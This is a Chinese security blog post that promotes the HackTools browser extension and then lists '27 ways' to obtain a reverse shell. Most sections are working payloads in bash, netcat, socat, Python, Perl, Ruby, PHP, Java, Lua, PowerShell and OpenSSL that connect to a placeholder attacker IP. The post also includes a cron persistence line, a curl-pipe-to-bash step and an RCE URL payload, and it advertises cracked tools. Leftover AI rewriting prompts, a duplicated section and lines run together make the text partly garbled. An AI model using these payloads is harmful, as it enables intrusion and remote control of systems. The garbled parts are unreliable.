前言
在渗透测试过程中,我们往往要使用很多命令,比如反弹shell、xss测试语句、sql测试语句、Linux常用提权语句、PowerShell常用语句。
为了方便,这里给大家推荐一个插件:HackTools,里面涵盖了渗透测试各种常用的语句
如果不够还有27中反弹shell的方式,HackTools里面有常见的10种反弹shell方式,如果利用不成功可以去看看
往期推荐
oscp+:简介、考试形式、对比其他证书、政策变动
PotatoTool一款功能强大的网络安全综合工具支持免杀、自定义内存马、提权、扫描、一键解密、AI分析、溯源等等
14w+poc,nuclei全家桶:nuclei模版管理工具+Nuclei
灵兔宝盒二开 | 286渗透工具合集,新增OneCS-49_尊享版、vshell4.9.3破解版、Godzilla特战版等24款
红队武器库VulToolsKit全家桶:图形化页面+自己额外添加的一些工具
fscan全家桶:FscanPlus,fs,fscan适用低版本系统,FscanParser
ctf综合利用工具,集成多款AI,94GB大小量大管饱:ctftools-all-in-one_proV2
HackTools插件推荐
下载插件
这里以火狐为例,其他浏览器类似
首先来到扩展管理
搜索插件名:hacktools
最后进入下载即可
hacktools页面展示
10种常见的反弹shell命令
php反弹shell的各种命令:各种马、以及绕过手法
非交互式shell升级为完全交互式的TTY终端
渗透测试常用的Linux命令
渗透测试常用的Powershell命令
渗透测试常用的文件传输命令
LFI,文件包含常用命令
XSS攻击常用语句
sql注入常用语句
常见的编码转换
内容编码混淆绕过
常见哈希算法编码
漏洞查找平台推荐
msf 命令生成器
反弹shell的27种方式
1. Bash反弹:简单直接的入门级技巧
对于初学者来说,Bash反弹是最直观且易于理解的方法之一。它利用了Linux系统中内置的/dev/tcp
特殊设备,能够轻松建立TCP连接并传输数据。想象一下,就像通过电话线发送信息一样,我们可以通过网络将命令传递给另一端的计算机。
# 攻击者主机上执行监听
nc -lvvp port# 目标主机上执行
bash -i >& /dev/tcp/x.x.x.x/port 0>&1
这里的x.x.x.x
代表攻击者的IP地址,而port
则是监听端口号。这种方式非常适合那些刚开始接触网络安全的朋友,因为它不需要复杂的编程知识就能实现基本的功能。
2. Netcat反弹:经典工具的新玩法
Netcat(nc)是一款历史悠久但功能强大的网络工具,广泛应用于读写TCP和UDP连接。在反弹shell的应用场景下,Netcat常被用来作为监听器和服务端之间的桥梁。如果你熟悉这个工具的话,下面的例子会让你感到亲切:
# 攻击者主机上执行监听
nc -lvvp port# 目标主机上执行
nc -e /bin/bash x.x.x.x port
然而,并不是所有的Netcat版本都支持-e
参数。遇到这种情况时,可以尝试创建命名管道(FIFO),绕过这一限制。这就好比当我们找不到合适的钥匙开门时,可以寻找其他途径进入房间。
3. Telnet反弹:古老却有效的手段
尽管Telnet协议的安全性较低,但它仍然是某些特定环境中不可或缺的一部分。借助两个不同的端口分别处理输入与输出,我们可以巧妙地构建出一个简单的反弹shell架构。这种方法虽然原始,但在某些受限条件下却能发挥意想不到的作用。
# 攻击者主机上打开两个终端分别执行监听
nc -lvvp 4444
nc -lvvp 5555# 目标主机中执行
telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555
这种做法就像是用两根电话线同时通话,一边听另一边说,确保双方都能顺畅交流。
4. Socat反弹:进阶玩家的选择
Socat是一个多功能的网络工具,其功能远超传统的Netcat。除了基本的TCP连接外,它还提供了诸如伪终端(PTY)等高级特性,使得远程控制体验更加接近真实的命令行界面。对于追求更好交互效果的安全专家而言,Socat无疑是一个理想的选择。
# 攻击者主机上执行监听
socat TCP-LISTEN:port,fork -# 目标主机上执行
socat tcp-connect:x.x.x.x:port exec:'bash -li',pty,stderr,setsid,sigint,sane
这里使用了多个选项来增强会话质量,例如pty
用于模拟终端环境,让操作变得更加自然流畅。
5. Python反弹:跨平台利器
Python脚本语言凭借其强大的网络库和广泛的适用性,在反弹shell领域同样占据重要地位。无论是在Windows还是Linux平台上,这段简洁明了的代码都能够帮助你快速建立起稳定的通信链路。
import socket, subprocess, oss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("x.x.x.x", port))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])
这段代码创建了一个socket连接,并巧妙地将标准输入、输出以及错误重定向到了该连接上,实现了真正的双向交互。
6. Perl反弹:灵活多变的老牌选手
Perl是一种功能丰富的编程语言,尤其擅长处理文本和网络编程任务。以下是一段典型的Perl反弹shell示例:
use Socket;$i = "x.x.x.x";
$p = port;
socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
if (connect(S, sockaddr_in($p, inet_aton($i)))) {open(STDIN, ">&S");open(STDOUT, ">&S");open(STDERR, ">&S");exec("/bin/sh -i");
}
这段Perl代码不仅建立了TCP连接,还将标准输入、输出及错误输出进行了重定向,为后续的操作打下了坚实的基础。
7. Ruby反弹:简洁优雅的现代选择
Ruby以其简洁优雅著称,是另一种常用于反弹shell的语言。下面这段Ruby代码展示了如何通过TCP连接读取来自攻击者的命令,并执行相应的操作。
require 'socket'c = TCPSocket.new("x.x.x.x", "port")
while(cmd = c.gets)IO.popen(cmd, "r") { |io| c.print io.read }
end
这段代码创建了一个TCP连接,并持续读取攻击者发送过来的命令,然后执行并将结果返回给对方。
8. PHP反弹:Web开发者的秘密武器
PHP是服务器端执行的脚本语言,特别适合用于Web应用程序开发。在Web环境中,PHP反弹shell尤为有用,尤其是在存在文件上传漏洞的情况下。
<?php
$sock = fsockopen("x.x.x.x", port);
exec("/bin/bash -i <&3 >&3 2>&3");
?>
这段PHP代码创建了一个TCP连接,并执行了bash shell,将标准输入、输出和错误输出重定向到了该连接上,从而实现了远程控制。
9. Powershell反弹(Windows环境)
对于Windows操作系统,Powershell是一个非常强大的脚本工具,可用于实现反弹shell。这里介绍了一种基于Powercat脚本的方法:
# 攻击者主机上执行监听(使用Powercat脚本)
powershell IEX (New-Object System.Net.WebClient).DownloadString('http://x.x.x.x:port/powercat.ps1'); powercat -c x.x.x.x -p port -e cmd# 目标主机上执行(假设可以下载并执行Powercat脚本)
Powercat是一个专门设计用于Powershell的反弹shell工具,可以从远程服务器下载并执行,极大地简化了设置过程。
10. OpenSSL反弹:加密通信的保障
OpenSSL不仅可以用于加密通信,还可以用来创建反弹shell。这种方法利用了OpenSSL生成自签名证书的能力,并通过TLS/SSL隧道安全地传输shell会话。
# 攻击者主机上生成密钥并启用监听
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port port# 目标主机上执行
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect x.x.x.x:port > /tmp/s; rm /tmp/s
这种方式不仅保证了通信的安全性,也为后续的操作提供了可靠的保障。
好的,以下是润色后的人性化文章:
在网络安全的战场上,反弹shell技术宛如一把锋利的利刃,让攻击者能够巧妙地潜入目标系统的深处,获取宝贵的交互式访问权限。今天,就让我们一同走进这神秘而又充满挑战的领域,探索那些形形色色的反弹shell方法,感受它们背后蕴含的智慧与力量。
11. Java反弹:搭建起沟通的桥梁
想象一下,用Java构建一个小小的Socket连接,就像是在攻击者与目标系统之间架起了一座桥梁。通过这座桥梁,命令得以穿梭往来。下面这个简单的Java反弹shell示例,就像是一个精心编排的舞蹈,各个组件各司其职,却又默契十足:
import java.io.*;
import java.net.*;public class ReverseShell {public static void main(String[] args) {String host = "x.x.x.x"; // 攻击者IPint port = 1234; // 监听端口try (Socket socket = new Socket(host, port);BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));PrintWriter out = new PrintWriter(socket.getOutputStream(), true);BufferedReader stdIn = new BufferedReader(new InputStreamReader(System.in));BufferedWriter stdOut = new BufferedWriter(new OutputStreamWriter(System.out))) {// 线程一:专注倾听,执行命令new Thread(() -> {try {String command;while ((command = in.readLine()) != null) {Process process = Runtime.getRuntime().exec(command); // 执行命令// 获取命令输出,反馈给攻击者try (BufferedReader processIn = new BufferedReader(new InputStreamReader(process.getInputStream()));BufferedReader processError = new BufferedReader(new InputStreamReader(process.getErrorStream()))) {String line;while ((line = processIn.readLine()) != null) {out.println(line);}while ((line = processError.readLine()) != null) {out.println(line);}}}} catch (Exception e) {e.printStackTrace();}}).start();// 线程二:传递本地shell的输出,让攻击者知晓一切new Thread(() -> {try {String line;while ((line = stdIn.readLine()) != null) {out.println(line);}} catch (IOException e) {e.printStackTrace();}}).start();} catch (IOException e) {e.printStackTrace();}}
}
当你编译并运行这段程序,就像是按下了启动键,让目标系统与攻击者指定的IP和端口紧密相连,从此,攻击者便能在这条通道上畅行无阻地执行各种命令了。
12. Lua反弹:轻量级的灵动之选
Lua,这个轻量级的脚本语言,也在这场技术盛宴中占有一席之地。它的反弹shell示例,简洁而高效,宛如一位灵动的舞者,在代码的世界里轻盈起舞:
local host = "x.x.x.x"
local port = 1234
local socket = require("socket")
local tcp = socket.tcp()
tcp:connect(host, port)local function read_command()local command = tcp:receive("*l")return command
endlocal function execute_command(command)local file = io.popen(command)local output = file:read("*all")file:close()tcp:send(output .. "\n")
endwhile true dolocal command = read_command()if command == nil thenbreakendexecute_command(command)
endtcp:close()
不过,别忘了,Lua标准库可不自带socket模块哦,实际使用时,你可能需要费点心思,去安装一个额外的Lua socket库,才能让这段代码顺利施展它的魔力。
13. Nishang框架(PowerShell):渗透测试的得力助手
Nishang,这个用于渗透测试的PowerShell攻击框架,就像是一个装备精良的战士,携带着多种反弹shell脚本,随时准备投入战斗。瞧,使用它的Invoke-ReverseTCPShell脚本,过程是如此干脆利落:
# 在攻击者机器上,先做好监听的准备
IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke-PowerShellTcp.ps1')
Invoke-PowerShellTcp -Reverse -IPAddress x.x.x.x -Port 1234# 然后,在目标机器上,只需轻轻一挥魔法棒(假设可以下载并执行脚本)
IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke-ReverseTcpShell.ps1')
Invoke-ReverseTcpShell -IPAddress x.x.x.x -Port 1234
当然啦,在这之前,你得把Invoke-PowerShellTcp.ps1
和Invoke-ReverseTcpShell.ps1
这两个脚本上传到Web服务器上,还得确保目标机器能够顺利访问到它们,这就好比是为战士准备好充足的弹药,才能让战斗顺利进行。
14. 使用Web服务器:巧妙借力的策略
借助Web服务器来上传并执行包含反弹shell代码的Web脚本,这可是一种既常见又巧妙的反弹shell方法。就拿这个简单的PHP反弹shell示例来说,它就像是一个潜伏在Web服务器中的小特工,等待着被触发的那一刻:
<?php
$ip = 'x.x.x.x'; // 攻击者IP
$port = 1234; // 监听端口
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/bash -i', array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
?>
当你把这个PHP脚本悄悄上传到目标Web服务器的可访问目录中,再通过浏览器轻轻一点访问它,瞬间,反弹shell连接便建立了起来,就像是打开了通往目标系统深处的一扇神秘大门。
15. 利用系统工具(如curl或wget):简单粗暴却有效
有时候,简单粗暴的方法反而能取得意想不到的效果。利用系统自带的curl
或wget
等工具来下载并执行反弹shell脚本,就是这样一种让人眼前一亮的招数。比如,使用curl
下载并执行反弹shell脚本,过程是这样的:
# 先在攻击者机器上,创建一个简单的bash反弹shell脚本,并把它托管在Web服务器上
echo 'bash -i >& /dev/tcp/x.x.x.x/1234 0>&1' > reverse_shell.sh
python3 -m http.server 80 # 使用Python的HTTP服务器来托管脚本# 然后,在目标机器上,只需用一条curl命令,就能把反弹shell脚本下载下来并执行
curl http://x.x.x.x/reverse_shell.sh | bash
16. 利用漏洞(如远程代码执行漏洞):直击要害的奇袭
如果目标系统不幸存在远程代码执行(RCE)漏洞,那可真是攻击者的福音。攻击者可以直接利用这个漏洞,像一把利刃直插目标系统的心脏,执行反弹shell命令。假设目标系统有个RCE漏洞,可以通过URL参数执行任意命令,那就可以这样构造反弹shell命令并利用漏洞执行:
# 构造反弹shell命令并通过RCE漏洞执行
curl "http://target.com/vulnerable_page.php?cmd=bash -i >& /dev/tcp/x.x.x.x/1234 0>&1"
不过,实际的RCE漏洞利用可没这么简单,你得根据漏洞的具体情况,精心调整策略,才能确保奇袭成功。
17. 自定义脚本:量身打造的专属利器
不同的目标系统,有着不同的环境和权限特点。攻击者可以根据这些特点,精心编写自定义的反弹shell脚本,就像是为每个目标量身打造一把专属的钥匙。比如这个简单的自定义Python反弹shell脚本,它就像是一个灵活的忍者,能在目标系统中悄无声息地建立连接:
import os
import sockethost = 'x.x.x.x' # 攻击者IP
port = 1234 # 监听端口s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))os.dup2(s.fileno(), 0) # stdin
os.dup2(s.fileno(), 1) # stdout
os.dup2(s.fileno(), 2) # stderros.system('/bin/bash -i')
把这段脚本上传到目标系统并执行,目标系统就像是被施了魔法,乖乖地与攻击者建立了反弹shell连接。
18. 使用Python的pty
库模拟终端:追求极致体验的尝试
对于追求更真实shell体验的攻击者来说,Python的pty
库就像是一把神奇的钥匙,能打开通往伪终端(pseudo-terminal)世界的大门,让反弹shell的交互更加流畅自然:
import os
import pty
import sockethost = 'x.x.x.x
### 利用Python的`paramiko`库进行SSH反弹在网络安全领域,特别是渗透测试中,SSH反弹技术是一种重要的手段。当目标系统允许SSH连接,并且攻击者拥有相应的凭证时,可以使用Python的`paramiko`库来实现SSH反弹。为了实现这一目的,首先需要在攻击者的机器上设置一个SSH服务器以监听来自目标系统的连接请求。通常情况下,这可以通过现有的SSH服务器完成,或者利用Python的SSH库(如`paramiko`的`ServerInterface`)来模拟。假设已经有一个SSH服务器处于监听状态,那么接下来就是在目标端执行一段Python代码来建立反向连接:```python
import paramiko
import subprocess
import os# 攻击者SSH服务器的信息
hostname = 'x.x.x.x' # 攻击者SSH服务器IP
port = 22
username = 'attacker_user'
password = 'attacker_password'# 创建SSH客户端实例并自动添加主机密钥
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())# 连接到攻击者的SSH服务器
client.connect(hostname, port, username, password)# 开启一个反向隧道
transport = client.get_transport()
chan = transport.open_session()
chan.invoke_shell()# 将标准输入、输出和错误输出重定向到该SSH会话
os.dup2(chan.makefile('wb', -1).fileno(), 1)
os.dup2(chan.makefile('rb', -1).fileno(), 0)
os.dup2(chan.makefile_stderr('rb', -1).fileno(), 2)# 启动bash shell
os.execvp('/bin/bash', ['/bin/bash', '-i'])
值得注意的是,上述方法要求攻击者控制一个有效的SSH服务器,并且目标系统必须允许SSH连接。此外,由于paramiko
的ServerInterface
较为复杂,这里假设已经有了一个准备就绪的SSH服务器来进行监听。
19.利用Python的paramiko
库进行SSH反弹
攻击者需在本地搭建SSH服务器以监听连接请求。可借助外部SSH服务器,或利用Python的paramiko
库中的ServerInterface
类自行模拟。鉴于ServerInterface
的复杂性,本文假设已存在一个处于监听状态的SSH服务器。
目标端需执行以下Python代码,以建立与攻击者SSH服务器的连接:
import paramiko
import subprocess
import os# 目标端Python代码
hostname = 'x.x.x.x' # 攻击者SSH服务器IP
port = 22
username = 'attacker_user'
password = 'attacker_password'client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname, port, username, password)# 开启反向隧道
transport = client.get_transport()
chan = transport.open_session()
chan.invoke_shell()# 重定向标准输入、输出及错误输出至SSH会话
os.dup2(chan.makefile('wb', -1).fileno(), 1)
os.dup2(chan.makefile('rb', -1).fileno(), 0)
os.dup2(chan.makefile_stderr('rb', -1).fileno(), 2)# 启动bash shell
os.execvp('/bin/bash', ['/bin/bash', '-i'])
通过上述代码,目标系统与攻击者SSH服务器建立起连接,开启反向隧道,并将标准输入、输出及错误输出重定向至SSH会话,最终启动bash shell,完成SSH反弹过程。
注意事项
- 本方法的前提是攻击者需控制一个SSH服务器,且目标系统允许SSH连接。
- 鉴于
paramiko
的ServerInterface
较为复杂,本文基于已有SSH服务器处于监听状态的假设进行阐述。在实际应用中,根据具体场景,可能需对代码进行适当调整与优化,以确保SSH反弹操作的顺利实施。
20.使用Perl的IO::Socket
模块实现反弹Shell
除了Python之外,Perl语言中的IO::Socket
模块同样可以用于创建网络连接,进而实现反弹shell的功能。下面是一段示例代码:
#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;my $remote_ip = 'x.x.x.x'; # 攻击者IP
my $remote_port = 1234; # 监听端口# 创建socket对象
my $sock = IO::Socket::INET->new(PeerAddr => $remote_ip,PeerPort => $remote_port,Proto => 'tcp'
);die "Could not create socket: $!\n" unless $sock;# 将标准输入、输出和错误输出重定向到socket
open STDIN, ">&=$sock";
open STDOUT, ">&=$sock";
open STDERR, ">&=$sock";# 启动shell
exec("/bin/bash -i");
这段代码通过创建TCP连接并将标准流重定向至socket,实现了与远程攻击者之间的交互式shell连接。
21.Java环境下使用JSch
库进行SSH反弹
对于Java环境而言,JSch
是一个纯Java实现的SSH2库,它能够用来创建SSH连接。如果目标系统允许SSH连接并且攻击者持有正确的凭证,那么就可以考虑使用JSch
来进行SSH反弹。具体实现思路类似于paramiko
,即先在攻击者端配置好SSH服务器,再让目标端使用JSch
库连接到该服务器并开启反向隧道。
然而,鉴于Java编程相较于Python或Perl更加复杂,这里不再提供完整的Java代码示例,但基本步骤包括设置SSH服务器、处理认证等操作。
22.Ruby中的drb
(Distributed Ruby)作为反弹Shell的选择
Ruby语言下的drb
(Distributed Ruby)主要用于构建分布式对象系统。尽管它并非专门为反弹shell设计,但在特定情境下也可以作为一种选择。不过,相比其他方式,这种方式实现起来可能更为复杂,因为需要攻击者事先搭建好DRuby服务器。
23.借助目标系统的计划任务或cron作业达成反弹Shell
如果攻击者能够在目标系统中添加计划任务或cron作业,则可以通过设置定时任务的方式来定期执行反弹shell命令。例如,在Linux系统中,可以使用crontab -e
命令添加如下条目:
* * * * * /bin/bash -c 'bash -i >& /dev/tcp/x.x.x.x/1234 0>&1'
此命令意味着每分钟都会尝试与指定IP地址及端口建立连接,一旦成功便返回一个交互式的shell给攻击者。当然,这种方法的前提是攻击者具备足够的权限去修改目标系统的计划任务或cron作业。
24. 借助目标系统的服务或守护进程
部分服务或守护进程可能为攻击者提供了配置外部命令或脚本执行的途径。攻击者可利用此类服务,植入反弹shell命令,以实现对目标系统的控制。
以Web服务器为例,部分服务器允许在配置文件中设定错误处理脚本。攻击者若能篡改这些配置文件,便可在错误发生时触发反弹shell命令的执行。
须知:运用此方法,攻击者需具备修改目标系统服务或守护进程配置的权限。
25. 运用目标系统的漏洞利用工具集
众多漏洞利用工具集,如Metasploit Framework等,内置了自动化的反弹shell功能。攻击者可借助这些工具集,针对目标系统的已知漏洞进行利用,并自动执行反弹shell命令,从而获取系统控制权。
须知:使用漏洞利用工具集,要求攻击者对目标系统的漏洞有深入且准确的了解,并确保所使用的工具集为最新版本且无安全漏洞。
26. 利用目标系统的内置脚本语言Web接口
若目标系统开放了内置脚本语言(如Python、Perl等)的Web接口,如CGI、FastCGI等,攻击者便有机会利用这些接口执行反弹shell命令。
例如,攻击者可上传含有反弹shell代码的CGI脚本,并通过Web浏览器访问该脚本,进而触发反弹shell的执行。
须知:此方法要求攻击者能够上传并执行Web脚本,且目标系统需允许相关脚本语言的Web接口运行。
27. 利用目标系统的远程桌面协议反向连接功能
一些远程桌面协议,如RDP、VNC等,支持反向连接模式,即目标系统可主动连接至攻击者的机器。攻击者可对这些协议进行配置,启用反向连接模式,并在目标系统上启动远程桌面客户端,以此建立连接,实现对目标系统的控制。
须知:采用此方法,攻击者需拥有在目标系统上启动远程桌面客户端的权限,且目标系统需具备反向连接功能的支持。